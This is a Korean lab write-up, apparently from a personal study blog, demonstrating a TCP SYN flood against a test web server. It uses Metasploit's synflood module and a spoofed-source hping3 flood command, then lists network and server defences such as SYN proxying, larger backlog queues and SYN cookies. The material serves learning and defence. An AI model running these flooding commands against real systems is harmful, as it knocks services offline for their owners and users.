Self-Improvement

TCP Syn Flooding 실습 본문

Kali Linux/Metasploitable

TCP Syn Flooding 실습

JoGeun 2018. 10. 21. 13:19

*TCP Syn Flooding
 연결시 3Way-Handshake 방식에서 마지막 Ack을 보내지 않고 Syn만 보내는 것
 ※Syn을 보내면 Ack,Syn을 받게됨으로 공격자도 부하량 걸리게 됨으로 Source IP를 바꿔서 보낸다.

*실습
 시나리오 : kali가 WebServer인 linux에 TCP Syn Flooding 공격을 함
 (linux)
※사전에 WebServer로 작동되어야함
 #mkdir /var/www/html/test
 #vi /var/www/html/test/index.html



 #firefox localhost/test &




 (win2008)
 웹페이지 192.168.20.200/test 접속해서 작동되는지 확인하기




 (kali)
 #wireshark &

 ※postgresql을 사용해야함으로 기동중인지 확인
 #nmap localhost (5432포트 열려있는지 확인)
 or
 #netstat -antp | grep :5432 (msfconsole의 포트번호
 #service postgresql start (현재)
 #update-rc.d postgresql enable (부팅시)
 #nmap localhost (5432포트 확인한다)



 #msfconsole
 msf > show auxiliary
 msf > use auxiliary/dos/tcp/synflood



 msf > show options



 ※Required가 yes인 것은 무조건 설정을 해줘야 하며 나머진 선택사항, RHOST가 설정이 안되어있다.

msf > set RHOST 192.168.92.200
msf > show options



※RHOST에 192.168.92.200이 설정되게 됨
 msf > exploit (시작을 하게 된다)
 wireshark 패킷을 확인해보면 Syn패킷만 보내게 된다.



#hping3 -S -a 10.10.10.10 192.168.20.200 -p 80 --flood으로 하면 더 강력하다.
※아마 linux WebServer는 잘 작동 될 것이다. 버틸수 있을 정도여서

*TCP Syn Flooding 방어 대책
 //보안장비 (네트워크)
 1. 보안장비인 방화벽단에서 Syn패킷이 통과하고 일정시간 연결이 안될시 차단하는 방법
 2. 서버에 Syn패킷이 들어가기전 보안장비인 방화벽에서 받아놓고 ACK, Syn을 보내어 연결이 성립되는지 확인하고 난뒤에 다시 방화벽을 통해서 서버와 클라이언트간의 연결을 설정하는 방법
 ... 등등
 
 //서버
 1.백로그큐를 늘려준다.
 2.Syn Cookie를 통해 반복되는 Syn패킷을 차단한다.
 ... 등등